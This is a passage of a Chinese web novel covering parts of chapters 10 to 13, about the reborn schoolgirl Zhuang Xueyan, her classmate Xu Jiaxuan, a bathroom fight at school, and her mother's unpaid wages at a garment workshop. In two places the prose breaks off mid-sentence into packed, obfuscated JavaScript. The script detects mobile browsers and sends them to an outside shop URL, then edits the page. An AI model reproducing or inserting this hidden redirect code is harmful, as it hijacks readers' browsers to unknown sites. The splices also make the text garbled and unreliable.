徐嘉轩坐在旁边,等庄雪言抄完数学后紧接着把英语递给他,说:“我知道了。” 最近雨雪天气加重,学校为了学生的安全提前一小时放学,听到消息的时候整栋楼都能听见欢呼声,离放寒假不到一个月,温度越来越低。 天气变得比翻脸都快,说不定上午晴空万里,下午就雷雨交加了,土路骑自行车不好走,何芸想送庄雪言上下学,奈何心有余而工作不允许,只能拜托有小车的何均来接。 何均的小车是黑色的,停在路边不显眼,庄雪言找了好久才找到自家舅舅的位置,欢天喜地跑过去,上车后很久何均都没有开车的意思,庄雪言从后座探出头,问:“舅舅,你怎么不开车啊?” 何均用车里的毛巾擦干后视镜上的水汽,说:“等人啊。” 庄雪言问:“等谁?” 家里除了她还有要接的人吗? 何均似乎看出了她的想法,笑着说:“你那个朋友,徐嘉轩不算啊。” “人家爷爷可是特意拜托我了让我来接的,你看我在家里又没事,怎么,你不愿意?” “没有啊。” 徐嘉轩从开学到现在都没人来接过,一直是走回去的,何均不说庄雪言都没想起来他,今时不同往日,庄雪言不介意让徐嘉轩搭便车,她重新坐回后排,透过雨雾缭绕的玻璃窗看向外面。 等到学校的人都走的差不多了,徐嘉轩才背着书包匆匆出来,何均落下窗户伸手招呼他,徐嘉轩愣了两秒,打着伞埋头往前走,何均“嘿”了声,跟庄雪言吐槽:“他的脾气一直都是这么古怪的吗?” “哪里古怪了?”庄雪言觉得还好,极为护短道:“舅舅,你不要这么说,徐嘉轩现在是我的小弟,你要给我面子。” “你还当上大姐头了?港剧看多了吧你!我告诉你别学那些坏的,好好读书才是正事。” 庄雪言最不爱听读书两个字,她现在能驾驭知识,到之后只会力不从心,回到上辈子的轨迹是迟早的事情,她悲催地躺在靠背上,满脸无奈。 何均开着车慢慢朝徐嘉轩身旁驶过去,徐嘉轩走的很慢,扁扁的书包鼓起许多,等差不多跟徐嘉轩并行的时候,何均摇下副驾驶的车窗,边看路边。 “徐小子,上车啊!路不好走,你爷爷叫我来接你。” 徐嘉轩听到爷爷两个字,不再继续往前走了,何均解开车锁,徐嘉轩轻声道谢,把书包放到身前抱着,看到坐在车后的庄雪言,打开了副驾驶的车门。 “坐副驾啊。”何均乐呵呵地伸手:“来包给我,扔后座去。” “不用了。” 余光看到忧郁望着窗外的人,徐嘉轩抱紧书包说:“我抱着就可以,书包有点脏。” “这么客气干什么?” 头一次接触徐嘉轩,何均观感挺不错,此刻有听到他懂事礼貌的话,心里的天平动了动,跟庄雪言说:“小言,怎么别人书包那么肥你的书包那么瘪,回家后也要好好学习啊!” 庄雪言:“......” “不是.....”徐嘉轩不喜欢通过自己贬低别人,尴尬道:“里面不是书,放学后我也没有学习了......” 何均点点头,又说:“言言,你看人小轩回家后劳逸结合,你回家后也要多在家里帮帮忙,不能老躲在床上睡觉了。” 徐嘉轩:“......” 庄雪言眼角抽动几下,被飞来横祸砸的有些无语,她看了眼徐嘉轩的书包,旧旧的破破的,不知道里面装了什么东西,鼓的跟球一样。 她不情愿地转移话题:“舅舅,快期末了,你说过考试我考得好会给我买手机的!” “那看你考的怎么样了。”何均说:“反正舅舅说话一言九鼎。” 他信誓旦旦的保证,庄雪言想那就行,原本还在考虑要不要让他大出血,现在挺好的,不用愧疚这件事了。 水泥路修到村头就没了,剩下的石头路被雨冲的不成样子,何均把车停在百货超市门口的空地上,意思意思买了三根冰棍当停车费。 庄雪言跟徐嘉轩一人分到一根,大冷天的,冻得牙齿打哆嗦。 雨没在飘了,夹杂着冷空气的风吹到皮肤上,带着湿黏的水汽,远处的田野在昏暗的天气下变得模糊,世界一片灰色。 何均走在两个小孩中间,看到徐嘉轩怀里抱着的笨重的书包,随手提到肩上,徐嘉轩有一瞬间大惊失色,连走路都不会走了,引得何均更加好奇。 “小轩啊,你书包里装的什么东西,看着挺重背着还挺轻的。” “没什么东西......” 徐嘉轩捏着衣角,心跳的很快,他忙不迭接过书包要自己背,何均把书包给他,眼睛却没挪开过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526277|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄雪言咬着冰棍,生怕何均打开看后对她说出惊世骇俗的话,麻木地替徐嘉轩解围:“舅舅,不要好奇别人的隐私,老人都说好奇心害死猫。” “我又不是猫。” 话是这么说,何均察觉到外甥女的不爽,识相地没再提书包的事情,这都快过年了,过了年就是正月,怎么说也得等这个月份过去了再说。 他打着哈哈,一旁的徐嘉轩抱着书包,半张脸埋在黑色布料里,黑发下的眼睛半是感激半是说不清道不明的情绪。 徐嘉轩不知道是什么,只觉得心里很欢喜,他不自觉瞟向庄雪言,看到她无所谓地打了声哈欠,收回目光,仔细盯着脚尖。 连一整包捏瘪的水瓶都轻飘飘的,没有重量了。 去徐嘉轩的家的路要多绕一会儿,何均规划了最佳路线,跟庄雪言一起先把徐嘉轩送回家,木门打开,院子里空荡荡的,纸盒全部消失了,房屋大门挂着的锁还没解开。 何均进去转了一圈,跟徐嘉轩说:“你爷爷怕是还没回来,去小言家吃饭不?” 说完她看向庄雪言,询问她的意思。 他话都放出去了,庄雪言不好唱反调,跟徐嘉轩说:“就去我家吧,反正也不用我做饭,你等会儿把饭菜打包给徐爷爷带回来,舅舅.....” 庄雪言望着何均,眼珠子转呀转,明显没憋好屁,何均伸手在她头上薅了一把,说:“又准备怎么坑舅舅呢?” “哪有,你怎么这么想我?!”庄雪言嘿嘿两声,拉着何均的袖子说:“家里有客人,但是没有菜了,舅舅我想吃虾。” 何均两只手指往下弯,作势要打她,语气却宠爱的很,问:“叮果糖吃不吃?” 徐嘉轩站在一旁看着,眼底有些羡慕,他转头把大门打开,书包放在不显眼的位置,庄雪言看他进屋了,拉着何均示意他往里看。 何均冲房子里叫道:“徐小子,怎么不去我们家吃饭啊,我给你爷爷打过电话了。” 还没走进屋,何均就闻到一股潮湿的霉味,萦绕在鼻尖久久不散,庄雪言连眉头都没皱,她春夏秋冬都来徐老头家送过饭,对房子里的味道已经免疫了。 徐嘉轩听到声音,从卧室小跑出来,腼腆地笑着,解释:“我放个书包就好,对不起耽误你们了。” “客气什么,这么见外啊。”何均说:“等会儿我出去买菜,你们俩在家没事就写作业知道吗,饿不了多久肚子的,那个.....徐小子在学校怎么样,学习跟的过来吗?” 庄雪言额头滑下三道黑线,连忙阻止他继续说下去:“舅舅你快点去买菜吧!妈妈马上就回来了,我要吃油焖大虾西红柿炒鸡蛋还有土豆丝,记得都要给我买!” “晚上吃太多睡不着。” “我就要吃!” 何均被庄雪言推了一段路,转头问徐嘉轩要吃什么,徐嘉轩微微一愣,摇头说:“我吃什么都可以的,不用考虑我。” “那行,那我随便买点了,你们两个记得在家好好学习,徐小子你有不会的就问言言啊,都是朋友别怕麻烦!” 庄雪言咬牙切齿,恨不得在何均屁股上踹上一脚,她抓着何均大声说:“我还要吃螃蟹、吃海参、吃三文鱼!” “行行行,学习好了什么都给你吃!” 11. chapter11 家里门虚掩着,何芸还有半小时到家,两个老人受不了冷,坐在火坑边烤火,庄雪言放下书包从堂屋搬了把椅子给徐嘉轩坐,刚刚走在外面还好,等热乎了些,庄雪言顿时感觉脚一阵阵发痛。 都怪赵帅,庄雪言没想到会栽在他头上,她给自己打了盆温水,坐在板凳上小心地脱下鞋袜。 鞋子是加绒的,鞋头被水打湿,里面像塞了冰块一样冷,脚尖冻麻木了,连痛都不知道,庄雪言把脚泡进水里,好久才感受到血液流通。 白净的皮肤泡的有些红,食趾和中趾明显比其他脚趾头肿一些,看久了有种诙谐的幽默,她当时踢的力道并不轻,落得这个下场也是罪有应得,庄雪言轻轻戳了戳脚趾,顿时传来强烈的痛意。 身冷脚下寒,等泡的热乎些了,庄雪言找来冬天的棉拖换上,走路的时候脚趾受到挤压痛意更明显,她只好找出夏天的凉鞋,去厨房把现有的菜准备好。 圆形时钟挂在入门正对面的墙壁上,整点还会蹦出来一只尖叫鸡报时。 七点的提示声响起,听到堂屋有动静,庄雪言以为是何芸回来了,探头看了眼,看到是徐嘉轩直愣愣站在堂屋,没太在意。 在别人家里又帮不上忙,徐嘉轩浑身不自在,生怕动了什么不该动的东西,他捏紧手上小瓶的红花油,可能是错觉,徐嘉轩感觉药瓶的温度比他体温都高,拿在手里发热发烫。 屋子里的灯泡要换了,夏天容易招蚊子,冬天又不太亮,徐嘉轩低头能看到自己的影子。 庄雪言在厨房认真准备餐前工作,她总能从柜子里精准地拿出要用的餐具,徐嘉轩本想帮忙,可站在外面看了半天,没有可以插手的地方,他踌躇几下,悄悄把红花油放在庄雪言书包里,什么话都没说。 雨丝不知什么时候飘下来,何均是跟何芸一块回来的,两人手上都提着塑料袋,庄雪言看到何芸,穿着拖鞋哒哒哒地跑过去迎接。 何均没这待遇,把食材都提到厨房生火做饭,何芸休息了一会儿要接手所有事情,被何均从厨房赶出去。 “言言,把你妈带去床上睡一会儿,看她眼睛下面的黑眼圈,都赶得上大熊猫了!” 灯光下何芸面色不好,从成衣厂工作了几个月活像被扒了一层皮一样,人都快瘦脱相了。 庄雪言看在眼里心抽抽的疼,再次劝她放弃成衣厂的工作,何芸摇摇头,疲惫地应付完女儿的撒娇后,沉默着回到卧室。 都说大城市机会多一些,可何芸上有老下有小,做不到像何均一样想去哪工作就去哪工作,她也不大愿意接受何均给的钱,庄雪言不懂,明明关系那么亲近,一家人有什么可见外的。 最后饭也没来得及吃,何芸睡太沉了,庄雪言叫了几声没叫醒她,用手抚平她紧皱的眉心,放轻脚步出去了。 餐桌上的菜不多,何均在饭桌上活跃了下气氛,庄雪言没听到他说了什么,听到桌上的人都笑了,配合地笑两声,心里默默计算还有几天可以放假。 这年头课外辅导机构兴起,她在考虑要不要趁着寒假找个家教的兼职。 她的成绩一向是拿得出手的,就是小镇上很少有人能花钱请一对一的家教,比起这个,还不如去机构靠谱。 庄雪言咬着筷子,食之无味吃完晚饭,何均饿急眼了,丝毫没察觉庄雪言的不对劲,等到家里年长的老人离开后,吃饱喝足的何均才站起身。 他怕徐嘉轩不好意思,主动拿来饭盒打包,盘子里留了何芸的晚饭,何均把饭盒收拾好后递给徐嘉轩,转头问庄雪言:“吃饱了没,要不要舅舅再给你做道菜?” 徐嘉轩提过饭盒礼貌地道谢,顺着何均的话看向庄雪言。 庄雪言在想事情,毫无目的地盯着某一处,敷衍道:“吃饱了。” 何均把没吃完的菜放到碗柜里,简陋的可笑的餐桌上,只剩各怀心事的两个人。 时针走过数字八,玩具鸡报时的声音把徐嘉轩叫醒,他捧着饭盒,感受到从铁皮里面传到手心的温度,感恩的同时,内心隐秘地藏着一丝连自己都没认识到的难受。 天暗下来,这个点徐老头肯定回来了,徐嘉轩站起来跟何芸和庄雪言道别,庄雪言动了动,看到外面风雨交加的天气,拿了把伞给他。 “路上注意安全。” “谢谢。” 任谁听到关怀的话都会开心,徐嘉轩把饭盒捂在怀里,孩子气地点点头,走之前看到她脚上肿胀的脚趾,红着脸说:“你也不要忘记抹药。” 庄雪言没听懂他话里的意思,开门把人送出去,家里没有干重活的人,所以何芸从没准备过跌打的药,庄雪言努力抬起脚尖,没当回事,遭几天罪就自己好了。 家里没有多余的房间,何均简单收拾完厨房就走了,狭小的屋内只剩一人,又显得大了起来,二手市场淘来的不知几手的电视正播报晚间新闻,雪花屏时不时闪过。 庄雪言坐在电视前面,眼睛看见了屏幕上的字,耳朵却听不进去,她没有娱乐的东西,茫然的像回到了上辈子浑浑噩噩的生活,可从四面八方吹到身上的冷空气无时无刻提醒她这不是过去。 秒针发出哒哒哒的声音,一切都隐匿在雨夜亮着小灯的房屋里。 庄雪言心里很空,她靠在座椅上,巨大的疲倦感铺天盖地吞没她,书包放在原位没动,庄雪言没有多余的精力发散思维,直到洗漱完躺在床上身体才轻松些。 夜晚的雨声大了许多,像天然的安眠药,庄雪言沉沉睡过去,第二天起了个大早。 学校挺人性化,考虑到路不好走,早自习时间也推迟了,庄雪言到教室的时候没来几个人,徐嘉轩跟往常来的一样早,看到同样早到的庄雪言,有些惊讶。 “早上好。” 他率先打了个招呼,声音放的很轻,庄雪言应了声,把昨天没完成的作业拿出来,徐嘉轩希望能和庄雪言多说说话,又问:“你的脚好些了吗,抹药没有?” 庄雪言摇头:“没有药,我昨天——” 她抱着书包拉开拉链,一眼就看到了躺在书包底部的红花油,庄雪言把小药瓶拿出来,脑子转了圈就想明白了,转头问徐嘉轩:“你给我的?” “嗯。” 药瓶是透明的,徐嘉轩看到里面的液体满满当当,知道她没有用过,说:“我昨天放在你的书包里,没告诉你.....对不起。” “总是说对不起干什么,你又不欠我的。” 庄雪言又不会因为这点小事怪他,更何况他是好心,庄雪言脱下鞋袜把脚放在椅子上,在手心倒了些药搓了搓,小心翼翼地抹在皮肤上。 早上走路磨得狠了,脚趾多了几道血红的擦伤。 徐嘉轩看着那几道血痕,鬼使神差问了句:“你疼不疼?” 他心思敏感,说完立刻察觉有些不合适,慌张地想找补,庄雪言注意力全在脚上,没发现他的不自在,说:“不疼。” 抹完药,庄雪言把脚放在鞋面上自然风干,她作业还没写完,懒得自己写了,索性把徐嘉轩的拿过来抄。 路过的赵帅看到,狠狠剜了徐嘉轩一眼,年轻就是好,没脸没皮的,赵帅现在路过不踹桌子了,改用抽气的方式吸引注意,他手放在鼻子前扇了两下,很嫌弃的样子。 徐嘉轩没理他,庄雪言也懒得管,以为他过几天觉得没趣了就会停止傻逼行为,可庄雪言还是低估了赵帅的毅力,几天下来,大家或多或少都有些怀疑徐嘉轩身上有异味,弄得徐嘉轩本就不好的人缘更加惨淡,体育课都没人跟他玩。 庄雪言跟元秀秀的体育课是撞在一起的,每次自由活动两个人就躲在操场,男生们围在篮球场打球或者勾肩搭背跑往小卖部,徐嘉轩在班上是透明人,没什么朋友,总一个人待在教室。 元秀秀学习进步的很快,步入初中后很少能看到年级排名,只有每学期分班的时候才知道自己处于何种位置,她打听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526278|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重点班最后一名的成绩,比她还要低十五分,下学期分班说不定可以在一个班上了。 庄雪言由衷替她开心,两个女孩坐在柳树下的长椅上谈天说地,快乐的时光总是短暂的,等到下课铃响起,元秀秀叹了好长一声气。 “如果下学期我能分到你们班上,我们就坐同桌吧。” 庄雪言点头:“反正快放寒假了,下学期等你的好消息!” “那回去吧。”元秀秀说:“我先送你回去,我到现在还没见过重点班长什么样呢!” 两人勾着小拇指走在回班级的路上,庄雪言不解,问:“不都是一样的?” “哪一样啊,我们班吵死了,上课下课都吵,老师管都不想管了。” 她慢吞吞抱怨,庄雪言想到自己平时上课的场景,其实都差不多。 成绩好又听话的学生简直是凤毛麟角,但凡上进点或是家里有钱的学生都去市里读书了,留下来的人要么穷,要么成绩不太行。 想想还挺可怜的,愚昧又开心地生活在自己的世界。 两人走到靠近教学楼的地方,元秀秀突然指向厕所,好奇道:“发生什么事了?那里围着好多人。” 庄雪言顺着她手指的地方看过去,男男女女围堵在公共卫生间旁边小声咬耳朵,元秀秀愈发好奇了,踮着脚看不清里面,拉着庄雪言挤进人堆里面看。 庄雪言没有元秀秀灵巧,不上不下卡在拥挤的人潮内,下课后过来的吃瓜的人越来越多,两人拉着的手也被挤散了,几秒后,庄雪言听到了来自元秀秀的尖叫。 上课铃响了好久,班上大半的人都没回来,徐嘉轩疑惑地关上课本,刚想出去看看发生了什么,一群人顺着走廊进来了。 表情严肃的教导主任在后面呵斥,像放羊一样把所有学生赶回自己的教室。 庄雪言苦着脸进来,一坐下就趴在桌子上哭,徐嘉轩从来没见过这样脆弱的庄雪言,吓坏了,他犹豫地伸出手,轻轻拍她的背。 “怎么了?” 谁会欺负到她吗? 庄雪言眼眶都哭红了,过了好久,她把脸抬起来,抽噎着接过徐嘉轩递过来的纸巾。 纤长的睫毛被泪水黏在一起,鼻尖和脸颊都是红的,含泪的眼睛很透亮,女孩哭起来很容易让人心疼。 下节课本来是英语课,因为突然的变故改成了自习,班主任站在讲台上,体谅地让庄雪言哭完,之后用戒尺重重敲了两下桌子,警告道: “学校刚规定,以后每个月随机搜查手机!别以为在厕所玩老师就抓不到了,今天赵帅就是一个例子!” “玩手机就算了!被稽查看到了还敢还手!在厕所用沾了屎的拖把打架毁坏学校环境!教导主任已经罚他写了一千字检讨,大家引以为戒!” 说了这么多,徐嘉轩还是不知道庄雪言为什么哭,看到她粉白的嘴唇哭的发干,徐嘉轩拿过她的杯子接了杯温水回来,庄雪言双手接过,嘴唇触碰到杯壁,抬眼看到从外面走进来的赵帅,嘴一撇,又开始掉眼泪了。 赵帅有些尴尬,虽然已经洗漱过了,但他还是能闻到身上若有若无的臭味,他走到庄雪言桌前,看她哭的上气不接下气,低声道歉:“对不起......” 他焦急地为自己开脱:“我不是故意要追你的,我只是想跟你解释!这根本不是我的错!都怪那个初三年级的,是他先抢我手机的!我——” 班主任对两人之间的事情知道一些,呵斥道:“你还嫌不够丢脸吗?!” 庄雪言双手捂脸不想看他,她两辈子加起来都没觉得像今天这样惊悚过,被一个浑身沾满屎尿的人追了几百米,她的眼睛和心灵都遭受了巨大的伤害。 她后悔去看戏了,她只是个十三岁的小女孩而已,为什么要让她经历这些! 不过自从这件事情后,赵帅安静了一段时间,一直到寒假到来都没骚扰庄雪言,也没再暗戳戳说徐嘉轩臭了。 12. chapter12 寒假开始之后的第二天,天空中飘起鹅绒大雪。 成衣厂不放假,不论天气多恶劣何芸都要准点起床上班,庄雪言跟着睡不了懒觉,穿上何芸给她买的新棉袄在镜子前转了一圈,棉袄里穿了很多件衣服,庄雪言整个人圆滚滚的,活像个喜庆的小汤圆。 下雪天的寒冷不那么难熬,迎面吹来的风夹杂着干燥的空气。 何芸一向不希望女儿去成衣厂帮忙,庄雪言去了没干多久就被何芸用各种理由赶回来,时间长了,庄雪言就不去了,在镇上的辅导机构旁转悠了几圈,还真让她找到了家教的工作。 对方的小孩是六年级学生,在市里的学校上学,听说跟不上老师的教学节奏成绩不理想,这次回来办理转学的同时想找找有没有靠谱的机构能提升成绩。 庄雪言跑去自荐一番,试了几节课反馈还不错,就留下来做长久发展,工资对比一般的家教并不高,一小时四十块钱,一天补习两小时。 这个钱已经比得上镇上的人一天的工资了,庄雪言十分满意,对她来说能赚点外快就可以。 每周日休息,庄雪言休息日闲着没事就想往成衣厂跑,放了寒假,不少家长都把自己的小孩带到厂玩,庄雪言路过一家小卖部时听到里面传来高兴的声音。 “雪言姐姐!” 转头看去,穿着花棉袄的小孩跑出来抱住她的腿,老板站在柜台里憨厚地笑着,说:“她就是想你,放假就吵着要跟你玩。” “小恬想我啦?”庄雪言把她抱起来转了个圈,说:“我也想你,但是今天不能陪你玩了。” 小恬咬着手指头,委屈地问:“为什么?” 庄雪言说:“姐姐要陪姐姐的妈妈。” 小恬六七岁的年纪,人却很聪明,成衣厂里有不少小孩是她的朋友,小朋友们童言无忌,大人说什么他们就听什么,聊起天来嘴巴没个把门,小恬知道庄雪言要去干什么,拉着她的手说:“不要去,不要去!” 之前去成衣厂她也没这么反感,庄雪言蹲下来,问:“干嘛不让姐姐去啊?姐姐也要陪妈妈呀!” “不去!”小恬挥动着小手,满眼纯真地说:“他们说不好,干了没用。” “没用?” 庄雪言摸摸她的头发,笑着说:“有用啊,有钱的,钱能买很多棒棒糖,你喜不喜欢吃棒棒糖?” 小恬点点头,转头看向小卖部里面,几个挑着篮子的女人正在柜台前结账,见老爹没空管自己,小恬凑到庄雪言耳朵边说悄悄话。 “我听小胖哥说,老板不给钱,她妈妈跟他说的。” 庄雪言表情渐渐落下,睫毛扑扇扑扇的,明明很好看,但小恬就是感觉害怕。 庄雪言问:“真的吗?” 小恬点头,说:“好多朋友都这么说。” 她说完有些害怕,又朝小卖部里面看了眼,着急补充道:“我爸爸不让我说这些,你不要告诉他!” 庄雪言点点头:“我知道,这个是秘密,小恬,姐姐再问你啊。” 她看着女孩的眼睛,低声问:“你知道小胖的妈妈已经几个月没有钱了吗?” 小恬诚实地摇头,声音带着一些失落。 “不知道,我没有听他说。” “嗯嗯,我知道了。” 庄雪言揉了揉她的脸,心事重重地走进成衣厂。 说是厂,其实是一个几十平米的房子,拼接的桌子上放着一台台缝纫机,来这当裁缝的大多都是女人,弓着腰趴在缝纫机前眼睛盯着枕头,几个男人站在衣服形状的纸板前用白色肥皂画着线条,一筐衣服弄完又来一筐,每个人的表情都是麻木的。 这里的老板是镇上一个暴发户,成衣厂开了有几年了,人员一直都在变动,有能力的去外面工作,渐渐的,留下来的人就确定了。 庄雪言坐到何芸旁边的扁凳上,心疼的目光注视着她,何芸没发现身边多了个人,等缝完一件衣服,她揉了揉眼睛,才看到坐在旁边的庄雪言。 “言言。” 明明已经疲惫不堪,面对庄雪言时何芸依然露出笑脸,她问:“你怎么来了,家教的事情弄完了?” 何芸知道庄雪言做家教的事情,如果条件允许,她想给庄雪言一笔钱让他在市里住几天,趁着寒假去逛各种景点,去看不同的风景,可是她连让庄雪言不为家庭操心的资本都没有,看到听话懂事的女儿,何芸鼻头酸涩。 庄雪言却不以为意,她解释道:“今天不用上课。” 成衣厂的事情传的连孩子都知道,何芸不知道庄雪言听到什么风声没有,她从口袋里拿出皱巴巴的钱递给女儿,说:“不用上课就拿钱去超市买东西吃,妈妈今天争取早点回家,你在家记得把饭做了。” 庄雪言点头,没有像往常一样撒娇卖萌赖着不走,看到她的背影彻底消失不见,何芸才松了口气,转头跟隔壁的女人说:“浅惠,我这里一筐快做完了,你那边要不要帮忙?” “不用,我留着明天做。”浅惠面色好很多,看到何芸脚边摞成山的一筐,劝道:“芸姐,你别这么拼了,弄了又没钱,三四个月都没发工资了,我看钱是不会给了。” 何芸苦涩地笑了笑,说:“老板不是说过年钱要回来之后就发工资的吗,还是干着吧,不干真就什么都没了。” 男人嘴里的话只能听百分之三十,男老板嘴里的话更是没一个字是真的,但她们没办法,留在这的人多多少少有自己的苦衷,她们无法得知工资究竟能不能发,只能靠日复一日的工作麻痹自己。 雪天风大,天上看不清太阳,从早到晚都是一个颜色。 庄雪言走在路上抬头看天,灰蒙蒙的,她打开手表看了眼时间,已经下午两点了。 身上的新衣服很暖和,何芸眼光很好,不论是款式还是版型都很适合小朋友,衣服针脚细密,看着就不便宜,庄雪言叹了口气,路过徐嘉轩家里,看到了正在院子里跟人说话的徐老头。 徐老头也看到了他,欢喜地打了声招呼,站在徐老头身边的男人看了眼庄雪言,转头继续说自己的事情,徐老头没理他,把庄雪言拉进屋子里,从卧室拿出来一个红包塞进她手心。 “又是有个新年啊,言言,新年快乐!” 庄雪言推托着不要,徐老头非要塞进她口袋里,这是每年必备的项目了,她只能搬出何芸做挡箭牌,说:“爷爷,收了您的钱妈妈会说我的!” “说什么?”徐老头脾气大,告诉她:“你让她来跟我说,谁来了都没用,收着啊,爷爷才卖了废品,有的是钱!” 庄雪言拗不过他,说了几句祝福的话,不好意思地把钱装进口袋,院子里站了半天的男人找准空隙插进来,徐老头不看他,跟庄雪言说:“嘉轩出去买菜了,马上就回来,你吃饭没?今天在我家吃吧。” 庄雪言摇头:“不用了徐爷爷,我爷爷奶奶还在家里等着吃饭,我收了您的钱就不能再占便宜了。” “几个事!正好我一个人 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男人眼皮抽了抽,打心眼里瞧不起这个捡来的孩子,语气中带有微妙敌意:“新年好啊,嘉轩。” 徐老头没给人搬椅子,徐嘉轩把菜拿进厨房了,淅淅沥沥的水声传出来,过了一会儿,他出来问道:“你们要吃什么菜?” 他眼神不经意看向庄雪言,心里酝酿了好久,还是不知道该怎么叫她好,叫全名太生疏,叫雪言又太亲近,徐嘉轩很苦恼。 庄雪言陷入了更被动的境地,根本没察觉到徐嘉轩微不足道的烦心事,她走也不是留也不是,听到徐嘉轩问要吃什么,如释重负站起身。 “我也来帮忙!” 徐老头乐呵呵的,看出了庄雪言的窘迫,没拦着她,他让徐嘉轩做多一些,毕竟今天还有庄雪言这个贵客在,徐嘉轩应了声,站在案板前熟练地烧火切菜。 庄雪言躲进厨房,没多久外面就传来模糊的说话声,徐嘉轩给他拿了个橘子,边洗厨具边说:“那个男人是爷爷兄弟的儿子,他说我们欠了他家三万块钱没还,每年都过来要账。” 谁家有个困难不欠钱,庄雪言意外听到此等秘密还怪尴尬,帮衬着说:“现在都不容易,有难处借钱是正常的。” 徐嘉轩井井有条的做事,不让庄雪言每一句话落在地上,解释道:“其实早就已经还清了,只是他每年打牌都会输很多钱,一输钱就拿着没销毁的欠条来找我们要账,去年也是这样。” 庄雪言:“......” 还能这么玩? “别理就行了,要不到他自己会走的。”庄雪言剥开橘子皮,往嘴里喂了一瓣,眼睛亮起:“还挺甜的。” “我在小摊上买的,橘子脐是圆圈的会比较甜。” 庄雪言无意中得到一个生活小技巧,又往嘴里塞了半个橘子,徐嘉轩做饭很利索,每道菜出锅时都带着热乎的锅气,调料味道顺着打开的窗户飘到外面,厨房没堂屋暖和,每呼吸一口鼻腔都是冷意。 徐嘉轩细心地把靠庄雪言那边的窗户关上,仅留的一半也拉上纱窗,庄雪言机械性咀嚼橘子,目光飘在外面,无可避免想到成衣厂的事情。 拖欠工资.....真是难搞啊,小镇上的警察效率也不行,以庄雪言的经验来说大概率不会给了,想通过正规渠道要到这笔钱可谓天方夜谭。 庄雪言靠在灶台边,秀丽的眉眼被一层忧郁吞没。 13. chapter13 冬天每场雪都来的猝不及防,等庄雪言出去的时候,屋里站着的男人已经离开了,院子里的脚印一直延伸到外面。 庄雪言吃完饭,把剩余的饭菜打包装进餐盒里,徐嘉轩帮着一起收拾,徐老头搬了把凳子坐在屋外抽旱烟,看到雪小了许多,转头问徐嘉轩:“轩啊,你买菜的时候去集市看了没?” 模糊的声音从厨房传出来:“没去,集市人太多了,也没什么需要买的。” 过年前怎么都得置办点年货,徐老头刚刚才想起今天是赶大集的日子,他拍了拍大腿,问庄雪言:“言言,你今年办年货没?” 庄雪言老老实实回答:“没有。” 以往都是何芸跟她一起去赶集,但今年太忙了,庄雪言从来不记赶集的日子,一年当中只有今天街上的货最多最全,错过了就没得买了。 徐老头一把年纪走不动,把徐嘉轩招呼来自己身边,给了他两张红票子,说:“你带着雪言去集市看看,遇到喜欢的就买,男孩子大方点。” 徐嘉轩看向有些纠结的庄雪言,不自在地摸了摸脸颊,长睫盖住眼底的心绪,点头:“嗯!” 徐老头又对庄雪言说:“言言啊,反正暑假没事去逛逛呗,我一把年纪走不动了,你跟嘉轩去逛,嘉轩力气大,能帮你提东西。” 说实话,庄雪言现在真没心情逛街,她想帮何芸解决成衣厂的烦恼,但她在牛也只是个十几岁的孩子,上辈子当牛做马是个打工命,都说欠钱的是大爷,庄雪言想要讨债也有心无力。 徐嘉轩察觉她心情不大好,忙不迭帮着说话:“你要是累了的话就回去休息吧,集市太远了路不好走,你要什么可以告诉我我给你买。” 徐老头恨铁不成钢看了他一眼。 庄雪言想不到什么必需品,何芸倒挺爱吃十字路口那一家的酥饼,徐老头真心想让两个孩子有更多相处空间,在旁边撮合道:“今天不去等到明天就晚了,逛一逛,不买也是可以的,街上热闹嘛。” 徐嘉轩拿上了帆布袋,站在门口安静地等庄雪言,庄雪言不好拂了老人家的心意,想着反正做不了什么,倒不如去街上散散心,何芸累了一天,回家看到喜欢的酥饼应该也会开心的。 徐老头看庄雪言松了口,往徐嘉轩手上塞了把伞就匆匆推两人出去,生怕反悔。 大门关上,院子里只剩庄雪言和徐嘉轩面面相觑,单独相处在一起的时间从未有过,徐嘉轩走在庄雪言身侧两三步的位置,目光紧盯眼前的路。 他想找些话题活跃气氛,余光看到庄雪言漂亮的侧脸,准备说的话卡在嘴边,酝酿好久才断断续续从嘴唇里冒出来:“今天的饭....你觉得合胃口吗?” 庄雪言中肯地给出评价:“可以。” 她对味道并不挑剔,加上徐嘉轩手艺确实不错,白菜土豆做来做去就只有那些花样,食材限制了评分,庄雪言给出的评价在她心中算高水平了。 徐嘉轩收回目光,问:“你心情不太好,有什么心事吗?” 庄雪言眼眸动了动,说:“是有点。” 她看向局促的徐嘉轩,问:“是不是打扰你赶集的兴致了?” “没有。”徐嘉轩连忙否认:“我不是这个意思。” 赶集这几天是小孩最期盼的日子,庄雪言长大几岁都变不了,去年都兴致勃勃地期盼着,今天是她自己的问题,庄雪言不想把负面情绪传递给徐嘉轩,扬起笑容,解释:“只是身体有些不舒服而已,又没什么的,正好我要去街上买东西,顺便逛逛。” 她的话把徐嘉轩后面想说的所有话都堵死了,徐嘉轩沉默着走了几步,下垂的目光恰好看到庄雪言关节冻得通红的手,他从帆布包里拿出保温瓶,把冒着热气的水倒进普通塑料瓶里做成了个简易热水袋递给她。 “冷的话可以用这个捂一捂,手冻伤后很疼的。” 